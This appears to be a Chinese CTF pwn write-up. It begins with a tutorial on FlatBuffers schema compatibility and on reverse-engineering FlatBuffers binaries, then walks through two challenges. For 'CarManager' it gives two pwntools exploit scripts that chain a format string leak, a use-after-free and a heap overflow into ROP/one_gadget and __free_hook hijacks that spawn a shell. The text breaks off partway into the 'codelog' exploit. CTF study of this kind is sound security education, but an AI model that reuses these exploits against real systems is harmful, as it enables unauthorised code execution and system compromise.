Table 中每个字段都是可选 optional 的,这种机制可以令 Flatbuffers 前向和后向兼容

假设当前 schema 如下:

1
table { a:int; b:int; }

在后添加字段:

1
table { a:int; b:int; c:int; }
  • 旧的 schema 读取新的数据结构会忽略新字段 c 的存在(不会浪费存储空间),新的 schema 读取旧的数据,将会取到 c 的默认值

在前添加字段:

1
table { c:int a:int; b:int; }
  • 在前面添加新字段是不允许的,因为这会使 schema 新旧版本不兼容

指定字段 ID 序列:

1
table { c:int (id: 2); a:int (id: 0); b:int (id: 1); }
  • 可以手动指定 ID 排序/分组,只要顺序与旧版本相同也是可以兼容的

删除字段:

1
table { a:int (deprecated); b:int; }
  • 不能直接从 schema 中删除字段(否则会破坏源代码),可以将需要删除的字段标记为 deprecated
  • 旧的 schema 读取新的数据结构会获得 a 的默认值(因为它不存在)
  • 新的 schema 代码不能读取也不能写入 a,它们将忽略该字段

更改字段:

1
table { a:uint; b:uint; }
  • 如果旧数据不包含任何负数,这将是安全的,如果包含了负数,这样改变会出现问题
  • 不能修改字段名称与字段默认值(否则会破坏所有使用此版本 schema 的代码)

Flatbuffers Structs

Structs 只包含标量或其他结构,只要确定以后就不会进行任何更改

Structs 使用的内存少于 Table,并且访问速度更快,它们总是以串联方式存储在其父对象中,并且不使用虚表

Structs 不提供前向/后向兼容性,占用内存更小

Flatbuffers 内存布局

测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
namespace Test.Sample;

table Monster {
name:string;
weapon:[Weapon];
}

table Weapon {
key:string;
value:int;
}

root_type Monster;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include "flatbuffers.h"
#include "test_generated.h"
#include <iostream> // C++ header file for printing
#include <fstream> // C++ header file for file access

using namespace Test::Sample;

int main(){
flatbuffers::FlatBufferBuilder builder(1024);
auto name = builder.CreateString("name");
auto key1 = builder.CreateString("aaaaaaaa");
auto key2 = builder.CreateString("bbbbbbbb");
auto key3 = builder.CreateString("cccccccc");
auto key4 = builder.CreateString("dddddddd");
auto value1 = 0x31;
auto value2 = 0x32;
auto value3 = 0x33;
auto value4 = 0x34;

auto weapon1 = CreateWeapon(builder,key1,value1);
auto weapon2 = CreateWeapon(builder,key2,value2);
auto weapon3 = CreateWeapon(builder,key3,value3);
auto weapon4 = CreateWeapon(builder,key4,value4);
std::vector<flatbuffers::Offset<Weapon>> weapons_vector;
weapons_vector.push_back(weapon1);
weapons_vector.push_back(weapon2);
weapons_vector.push_back(weapon3);
weapons_vector.push_back(weapon4);

auto weapons = builder.CreateVector(weapons_vector);
auto monster = CreateMonster(builder,name,weapons);

builder.Finish(monster);
uint8_t *buf = builder.GetBufferPointer();
auto size = builder.GetSize();
flatbuffers::Verifier verifier(buf, size);
bool ok = verifier.VerifyBuffer<Monster>(nullptr);
if (ok){
auto monster_bk = GetMonster(buf);
auto name_bk = monster_bk->name()->c_str();
auto weapons_bk = monster_bk->weapon();
auto key1_bk = weapons_bk->Get(0)->key()->str();
auto key2_bk = weapons_bk->Get(1)->key()->str();
auto key3_bk = weapons_bk->Get(2)->key()->str();
auto key4_bk = weapons_bk->Get(3)->key()->str();
auto value1_bk = weapons_bk->Get(0)->value();
auto value2_bk = weapons_bk->Get(1)->value();
auto value3_bk = weapons_bk->Get(2)->value();
auto value4_bk = weapons_bk->Get(3)->value();
}
}

CreateMonster 处打断点,然后 GDB 调试打印数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
02:00100x5555555702b0 ◂— 0x9c00000060 /* '`' */
03:00180x5555555702b8 ◂— 0xa000000006
04:00200x5555555702c0 ◂— 0x4
......
6c:03600x555555570600 ◂— 0xc000800000000
6d:03680x555555570608 ◂— 0xffffffbc00080004
6e:03700x555555570610 ◂— 0x400000094
6f:03780x555555570618 ◂— 0x3c00000004
70:03800x555555570620 ◂— 0x1400000024 /* '$' */
71:03880x555555570628 ◂— 0xffffffdc00000004
72:03900x555555570630 ◂— 0x3400000034 /* '4' */
73:03980x555555570638 ◂— 0x38ffffffe8
74:03a0│ 0x555555570640 ◂— 0xfffffff400000033 /* '3' */
75:03a8│ 0x555555570648 ◂— 0x320000003c /* '<' */
76:03b0│ 0x555555570650 ◂— 0x80004000c0008
77:03b8│ 0x555555570658 ◂— 0x3800000008
78:03c0│ 0x555555570660 ◂— 0x800000031 /* '1' */
79:03c8│ 0x555555570668 ◂— 'dddddddd'
7a:03d0│ 0x555555570670 ◂— 0x800000000
7b:03d8│ 0x555555570678 ◂— 'cccccccc'
7c:03e00x555555570680 ◂— 0x800000000
7d:03e80x555555570688 ◂— 'bbbbbbbb'
7e:03f0│ 0x555555570690 ◂— 0x800000000
7f:03f8│ 0x555555570698 ◂— 'aaaaaaaa'
80:04000x5555555706a0 ◂— 0x400000000
81:04080x5555555706a8 ◂— 0x656d616e /* 'name' */
  • 首先在 Flatbuffers 的缓冲区中,数据是倒序排列的
  • 从下往上看:在字符串之后,有4字节的 \x00 用于分割 data 和 size,又有4字节的空间用于指示字符串的大小
  • 位于缓冲区最上方的控制信息是实时更新的

Flatbuffers 逆向分析

下面先展示一个 IDA 逆向分析出来的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
v3 = flatbuffers::AlignOf<unsigned long>();
flatbuffers::FlatBufferBuilderImpl<false>::FlatBufferBuilderImpl(&builder, 0x400uLL, 0LL, 0, v3);
name.o = flatbuffers::FlatBufferBuilderImpl<false>::CreateString<flatbuffers::Offset>(&builder, "name").o;
key1.o = flatbuffers::FlatBufferBuilderImpl<false>::CreateString<flatbuffers::Offset>(&builder, "aaaaaaaa").o;
key2.o = flatbuffers::FlatBufferBuilderImpl<false>::CreateString<flatbuffers::Offset>(&builder, "bbbbbbbb").o;
key3.o = flatbuffers::FlatBufferBuilderImpl<false>::CreateString<flatbuffers::Offset>(&builder, "cccccccc").o;
key4.o = flatbuffers::FlatBufferBuilderImpl<false>::CreateString<flatbuffers::Offset>(&builder, "dddddddd").o;
value1 = 49;
value2 = 50;
value3 = 51;
value4 = 52;
weapon1.o = Test::Sample::CreateWeapon(&builder, key1, 49).o;
weapon2.o = Test::Sample::CreateWeapon(&builder, key2, 50).o;
weapon3.o = Test::Sample::CreateWeapon(&builder, key3, 51).o;
weapon4.o = Test::Sample::CreateWeapon(&builder, key4, 52).o;
std::vector<flatbuffers::Offset<Test::Sample::Weapon>>::vector(&weapons_vector);
std::vector<flatbuffers::Offset<Test::Sample::Weapon>>::push_back(&weapons_vector, &weapon1);
std::vector<flatbuffers::Offset<Test::Sample::Weapon>>::push_back(&weapons_vector, &weapon2);
std::vector<flatbuffers::Offset<Test::Sample::Weapon>>::push_back(&weapons_vector, &weapon3);
std::vector<flatbuffers::Offset<Test::Sample::Weapon>>::push_back(&weapons_vector, &weapon4);
weapons.o = flatbuffers::FlatBufferBuilderImpl<false>::CreateVector<flatbuffers::Offset<Test::Sample::Weapon>,std::allocator<flatbuffers::Offset<Test::Sample::Weapon>>>(
&builder,
&weapons_vector).o;
monster.o = Test::Sample::CreateMonster(&builder, name, weapons).o;
flatbuffers::FlatBufferBuilderImpl<false>::Finish<Test::Sample::Monster>(&builder, monster, 0LL);
buf = flatbuffers::FlatBufferBuilderImpl<false>::GetBufferPointer(&builder);
size = flatbuffers::FlatBufferBuilderImpl<false>::GetSize(&builder);
flatbuffers::Verifier::Verifier(&verifier, buf, size, 0x40u, 0xF4240u, 1);
if ( flatbuffers::Verifier::VerifyBuffer<Test::Sample::Monster>(&verifier, 0LL) )
{
monster_bk = Test::Sample::GetMonster(buf);
v4 = Test::Sample::Monster::name(monster_bk);
name_bk = flatbuffers::String::c_str(v4);
weapons_bk = Test::Sample::Monster::weapon(monster_bk);
v5 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 0);
v6 = Test::Sample::Weapon::key(v5);
flatbuffers::String::str[abi:cxx11](&key1_bk, v6);
v7 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 1u);
v8 = Test::Sample::Weapon::key(v7);
flatbuffers::String::str[abi:cxx11](&key2_bk, v8);
v9 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 2u);
v10 = Test::Sample::Weapon::key(v9);
flatbuffers::String::str[abi:cxx11](&key3_bk, v10);
v11 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 3u);
v12 = Test::Sample::Weapon::key(v11);
flatbuffers::String::str[abi:cxx11](&key4_bk, v12);
v13 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 0);
value1_bk = Test::Sample::Weapon::value(v13);
v14 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 1u);
value2_bk = Test::Sample::Weapon::value(v14);
v15 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 2u);
value3_bk = Test::Sample::Weapon::value(v15);
v16 = flatbuffers::Vector<flatbuffers::Offset<Test::Sample::Weapon>,unsigned int>::Get(weapons_bk, 3u);
value4_bk = Test::Sample::Weapon::value(v16);
std::string::~string(&key4_bk);
std::string::~string(&key3_bk);
std::string::~string(&key2_bk);
std::string::~string(&key1_bk);
}
std::vector<flatbuffers::Offset<Test::Sample::Weapon>>::~vector(&weapons_vector);
flatbuffers::FlatBufferBuilderImpl<false>::~FlatBufferBuilderImpl(&builder);

这里我们重点分析反序列化的部分:

1
2
3
4
const flatbuffers::String *__cdecl Test::Sample::Monster::name(const Test::Sample::Monster *const this)
{
return flatbuffers::Table::GetPointer<flatbuffers::String const*,unsigned int>(this, 4u);
}

程序的反序列化会大量使用 flatbuffers::Table::GetXXXX 的函数模板,从这些函数中可以看出一些 Scheme 文件的信息

1
2
3
4
const flatbuffers::String *__cdecl Test::Sample::Monster::name(const Test::Sample::Monster *const this)
{
return flatbuffers::Table::GetPointer<flatbuffers::String const*,unsigned int>(this, 4u);
}
  • 第二个参数的数字可以体现该条目在 Scheme 文件中的位置
1
2
3
4
int32_t __cdecl Test::Sample::Weapon::value(const Test::Sample::Weapon *const this)
{
return flatbuffers::Table::GetField<int>(this, 6u, 0);
}
  • 从传参个数可以判断该条目是否为标量类型(有3个参数即是标量类型,第3个参数为其默认值)

在逆向分析 flatbuffers 的过程中,Verifier 可以暴露大量信息(Verifier 是 flatbuffers 的检查器),它的内部结构如下:

1
2
3
4
5
6
7
8
9
10
11
if ( !flatbuffers::Verifier::Check(this, this->size_ > 0xB) )
return 0;
if ( identifier )
{
v4 = this->size_ > 7 && flatbuffers::BufferHasIdentifier(&this->buf_[start], identifier, 0);
if ( !flatbuffers::Verifier::Check(this, v4) )
return 0;
}
o = flatbuffers::Verifier::VerifyOffset<unsigned int,int>(this, start);
return flatbuffers::Verifier::Check(this, o != 0)
&& Test::Sample::Monster::Verify((const Test::Sample::Monster *const)&this->buf_[start + o], this);

最后一个函数 Verify 可以泄露有关 Scheme 的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ( flatbuffers::Table::VerifyTableStart(this, verifier)
&& flatbuffers::Table::VerifyOffset<unsigned int>(this, verifier, 4u) )
{
v2 = Test::Sample::Monster::name(this);
if ( flatbuffers::Verifier::VerifyString(verifier, v2)
&& flatbuffers::Table::VerifyOffset<unsigned int>(this, verifier, 6u) )
{
v3 = Test::Sample::Monster::weapon(this);
if ( ZNK11flatbuffers8Verifier12VerifyVectorIJENS_6OffsetIN4Test6Sample6WeaponEEEjEEbPKNS_6VectorIT0_T1_EE(
verifier,
v3) )
{
v4 = Test::Sample::Monster::weapon(this);
if ( flatbuffers::Verifier::VerifyVectorOfTables<Test::Sample::Weapon>(verifier, v4)
&& flatbuffers::Verifier::EndTable(verifier) )
{
return 1;
}
}
}
}
  • VerifyString 用于分析 string 类型
  • VectorVerifyVectorOfTables 用于分析 Vector 类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bool __cdecl Test::Sample::Weapon::Verify(const Test::Sample::Weapon *const this, flatbuffers::Verifier *verifier)
{
const flatbuffers::String *v2; // rdx
bool result; // al

result = 0;
if ( flatbuffers::Table::VerifyTableStart(this, verifier)
&& flatbuffers::Table::VerifyOffset<unsigned int>(this, verifier, 4u) )
{
v2 = Test::Sample::Weapon::key(this);
if ( flatbuffers::Verifier::VerifyString(verifier, v2)
&& flatbuffers::Table::VerifyField<int>(this, verifier, 6u, 4uLL)
&& flatbuffers::Verifier::EndTable(verifier) )
{
return 1;
}
}
return result;
}
  • VerifyField 的第4个参数表示该标量类型条目的大小

CarManager

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
CarManager: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5e78faed20a68cb3ad600697b0d036baefa646e8, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall write_s(const char *introduction_data)
{
if ( introduction_data )
{
printf("Car Intro: ");
if ( strlen(introduction_data) <= 0x3F )
{
printf(introduction_data);
}
else
{
write(1, introduction_data, 0x3DuLL);
printf("...");
}
puts(&byte_419A);
}
}

UAF 漏洞:

1
2
3
4
5
6
7
if ( check() )
{
free((void *)nameg->car_name->descript_data);
free((void *)nameg->car_name->introduction_data);
free(nameg->car_name);
nameg->car_name = 0LL;
}

堆溢出漏洞:

1
2
3
4
5
6
7
8
9
10
if ( nameg->descript )
{
size1 = size;
if ( size1 > strlen((const char *)nameg->descript) + 1 )
{
free((void *)nameg->descript);
user = nameg;
user->descript = (__int64)malloc(size);
}
}
  • 这里使用 strlen 获取当前 chunk 的 size,在写满的情况下可能会将 next chunk->size 也计算在内,导致几字节的堆溢出
  • PS:遇到这种不记录 size 而是使用 strlen 计算 size 的题目,一定要检查有没有堆溢出

入侵思路 - 格式化字符串

使用格式化字符串可以泄露 stack_addr 和 libc_base:

接下来就是通过覆盖返回地址打 one_gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

libc-2.31 的 one_gadget 条件比较高,断点到 ret 并查看此时的寄存器:

1
2
3
*RDX  0xffffffffffffff9c
R12 0x555555555280 ◂— endbr64
R15 0x0
  • 使用一个 pop_rdx_ret 就可以将 RDX 置空,在栈上有预留的 “0”
1
2
3
4
5
6
00:0000│ rsp 0x7fffffffdc08 —▸ 0x55555555551a ◂— jmp    0x55555555553f
01:00080x7fffffffdc10 ◂— 0x82d6d98e46a4e59b
02:00100x7fffffffdc18 ◂— 0x100000008
03:0018│ rbp 0x7fffffffdc20 —▸ 0x7fffffffdc30 ◂— 0x0
04:00200x7fffffffdc28 —▸ 0x55555555555d ◂— mov eax, 0
05:00280x7fffffffdc30 ◂— 0x0 /* target */

搭建 ROP,利用预留的 “0” 置空 RDX,最后写上 one_gadget 就可以了

非完整 exp 如下:(没有写有关逆向的部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './CarManager_bug1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.1.46','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x191F)\nb *$rebase(0x1E3E)\n")
pause()

def cmd(op):
sla(">",str(op))

def control():
sla(">>",str(1))
sla(">>",str(5))

def edit_user(name,password,phone,size,data):
sla(">>",str(3))
sla(">>",str(4))
sla("username: ",name)
sla("password: ",password)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def login(name,passwd,phone,size,data):
sla(">>",str(3))
sla(">>",str(1))
sla("username:",name)
sla("password:",passwd)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def dele_user():
sla(">>",str(3))
sla(">>",str(6))

def add_car(size,data2,data1="a",name="1",price=1):
sla(">>",str(1))
sla("Car Name:",name)
sla("price:",str(price))
sla("descript size:",str(size))
sla("descript data:",data1)
sla("introduction size:",str(size))
sla("introduction data:",data2)

def edit_car(size,data2,data1="a",name="1",price=1):
sla(">>",str(3))
sla("Car Name:",name)
sla("price:",str(price))
sla("descript size:",str(size))
sla("descript data:",data1)
sla("introduction size:",str(size))
sla("introduction data:",data2)

def show_car():
sla(">>",str(2))

def dele_car():
sla(">>",str(1))
sla(">>",str(4))
sla(">>",str(100))

def publish_topic(title,size,data):
sla(">>",str(2))
sla(">>",str(2))
sla("title",title)
sla("content size: ",str(size))
sla("content data: ",data)
sla(">>",str(100))

def add_topic(index,size,data):
sla(">>",str(2))
sla(">>",str(5))
sla("idx: ",str(index))
sla("comment size: ",str(size))
sla("comment data: ",data)
sla(">>",str(100))

def show_topic(index):
sla(">>",str(2))
sla(">>",str(6))
sla("idx: ",str(index))
sla(">>",str(100))

def dele_topic(index):
sla(">>",str(2))
sla(">>",str(4))
sla("idx: ",str(index))
sla(">>",str(100))

login("name","passwd","123",0x50,"1"*0x10)

sla(">>",str(1))
add_car(0x30,"%p%23$p")
show_car()

ru("Car Intro: 0x")
stack_addr = eval("0x"+ru("0x"))
stack_base = stack_addr + 0x26a0
success("stack_addr >> "+hex(stack_addr))
success("stack_base >> "+hex(stack_base))

leak_addr = eval("0x"+ru("\n"))
libc_base = leak_addr - 0x24083
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

pop_rdx_rcx_rbx_ret = libc_base + 0x000000000010257d
pop_rdx_ret = libc_base + 0x0000000000142c92
ret = libc_base + 0x0000000000022679
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = one_gadgets[1] + libc_base
success("one_gadget >> "+hex(one_gadget))

for i in range(3):
magic_stackp = (stack_base+0x58+2*i) % 0x10000
magic_gadgetp = (pop_rdx_rcx_rbx_ret>>i*16) % 0x10000
payload = "%{}c%16$hn\n".format(magic_stackp)
edit_car(0x30,payload)
show_car()
payload = "%{}c%20$hn\n".format(magic_gadgetp)
edit_car(0x30,payload)
show_car()

for i in range(3):
magic_stackp = (stack_base+0x58+2*i+8*4) % 0x10000
magic_gadgetp = (pop_rdx_ret>>i*16) % 0x10000
payload = "%{}c%16$hn\n".format(magic_stackp)
edit_car(0x30,payload)
show_car()
payload = "%{}c%20$hn\n".format(magic_gadgetp)
edit_car(0x30,payload)
show_car()

for i in range(3):
magic_stackp = (stack_base+0x58+2*i+8*6) % 0x10000
magic_gadgetp = (one_gadget>>i*16) % 0x10000
payload = "%{}c%16$hn\n".format(magic_stackp)
edit_car(0x30,payload)
show_car()
payload = "%{}c%20$hn\n".format(magic_gadgetp)
edit_car(0x30,payload)
show_car()

#debug()
sla(">>",str(100))
p.interactive()

入侵思路 - UAF+堆溢出

利用 UAF 也可以完成泄露,但是需要注意技巧:

1
2
3
4
5
6
7
8
9
10
for ( i = 0; size > i; ++i )
{
if ( (int)read(0, &a1[i], 1uLL) <= 0 )
exit(0);
if ( a1[i] == 10 )
{
a1[i] = 0;
return i;
}
}

所有的输入函数都会对末尾的 \n 进行置空,而所有的输出都会被 \x00 截断,此时遗留在堆上的地址就无法被打印

可以用如下技巧绕过这个限制:(输入刚好合适的 size,使 \n 读取不进来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Register("name",0x50,"1"*0x10)
add_car(0x680,"a\n")
publish_topic("a"*0x8,0x20,"b"*0x8)
dele_car()

add_car(0x480,"a\n")
dele_car()

add_car(1,"1",size2=0x470)
show_car()
ru("Car Intro: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ed031
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

edit_car(16,"2"*16,size2=0x470)
show_car()
ru("Car Intro: 2222222222222222")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x820
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

利用堆溢出我们可以修改 next chunk->size,将其释放就可以实现堆重叠,重新申请回来就可以修改 tcache 了

非完整 exp 如下:(没有写有关逆向的部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './CarManager_bug1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.1.46','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x264E)\n")
#pause()

def cmd(op):
sla(">",str(op))

def control():
sla(">>",str(1))
sla(">>",str(5))

def edit_user(name,size,data,passwd="passwd",phone="123"):
sla(">>",str(3))
sla(">>",str(5))
sla(">>",str(2))
sla("username: ",name)
sla("password: ",passwd)
sla(">>",str(4))
sla("username: ",name)
sla("password: ",passwd)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def Register(name,size,data,passwd="passwd",phone="123"):
sla(">>",str(3))
sla(">>",str(5))
sla(">>",str(1))
sla("username:",name)
sla("password:",passwd)
sla("phoneNum:",phone)
sla("descript size:",str(size))
sla("descript data:",data)
sla(">>",str(100))

def dele_user(name,passwd="passwd"):
sla(">>",str(3))
sla(">>",str(5))
sla(">>",str(2))
sla("username:",name)
sla("password:",passwd)
sla(">>",str(6))
sla(">>",str(100))

def add_car(size,data,size2=0,data2="a",name="1",price=1):
sla(">>",str(1))
sla(">>",str(1))
sla("Car Name:",name)
sla("price:",str(price))
if(size2 == 0):
size2 = size
sla("descript size:",str(size2))
sla("descript data:",data2)
sla("introduction size:",str(size))
sa("introduction data:",data)
sla(">>",str(100))

def edit_car(size,data,size2=0,data2="a",name="1",price=1):
sla(">>",str(1))
sla(">>",str(3))
sla("Car Name:",name)
sla("price:",str(price))
if(size2 == 0):
size2 = size
sla("descript size:",str(size2))
sla("descript data:",data2)
sla("introduction size:",str(size))
sla("introduction data:",data)
sla(">>",str(100))

def show_car():
sla(">>",str(1))
sla(">>",str(2))

def dele_car():
sla(">>",str(1))
sla(">>",str(4))
sla(">>",str(100))

def publish_topic(title,size,data):
sla(">>",str(2))
sla(">>",str(2))
sla("title",title)
sla("content size: ",str(size))
sla("content data: ",data)
sla(">>",str(100))

def add_topic(index,size,data):
sla(">>",str(2))
sla(">>",str(5))
sla("idx: ",str(index))
sla("comment size: ",str(size))
sla("comment data: ",data)
sla(">>",str(100))

def show_topic(index):
sla(">>",str(2))
sla(">>",str(6))
sla("idx: ",str(index))

def show_topic_all():
sla(">>",str(2))
sla(">>",str(1))

def dele_topic_all(index):
sla(">>",str(2))
sla(">>",str(4))
sla("idx: ",str(index))
sla(">>",str(100))

def dele_topic(index1,index2):
sla(">>",str(2))
sla(">>",str(7))
sla("idx: ",str(index1))
sla("idx: ",str(index2))
sla(">>",str(100))

def edit_topic(index,title,size,data):
sla(">>",str(2))
sla(">>",str(3))
sla("idx: ",str(index))
sla("title",title)
sla("content size: ",str(size))
sla("content data: ",data)
sla(">>",str(100))

Register("name",0x50,"1"*0x10)
add_car(0x680,"a\n")
publish_topic("a"*0x8,0x20,"b"*0x8)
dele_car()

add_car(0x480,"a\n")
dele_car()

add_car(1,"1",size2=0x470)
show_car()
ru("Car Intro: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ed031
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

edit_car(16,"2"*16,size2=0x470)
show_car()
ru("Car Intro: 2222222222222222")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x820
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))

sla(">>",str(100))
for i in range(9):
Register(str(i),0x68,"1"*0x68)

edit_user("0",0x6a,"0"*0x68+p16(0x691))

for i in range(6):
dele_user(str(i))

#debug()

Register("a",0x68,"1"*0x68)
add_car(0x20,"p",size2=0x600,data2="p"*0x70+p64(free_hook)+"\n")

sla(">>",str(100))
Register("b",0x68,"1"*0x68)
Register("/bin/sh",0x68,p64(system))

sla(">>",str(3))
sla(">>",str(6))

p.interactive()

codelog

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
codelog: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd0a2bd738926ee059e1aceb6873084dcf353a1b, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

程序只置空了指针而没有置空 size:

1
2
3
4
5
6
if ( chunk_list[num].ptr )
{
free(chunk_list[num].ptr);
chunk_list[num].ptr = 0LL;
puts("Success!");
}

堆溢出漏洞:(scanf 没有限制输入值的长度)

1
2
3
4
printf("char: ");
__isoc99_scanf("%s", &chars[i]);
printf("weight: ");
__isoc99_scanf("%d", &weights[16 * i]);
  • PS:遇到 scanf 需要注意是否有堆溢出

入侵思路

简单搭建一下堆风水就可以完成泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
init(0x48,0x60,0x60)

for i in range(8):
add(0x110,"a"*8)

for i in range(7):
dele(i+1)
dele(0)

add(0x60,"a")
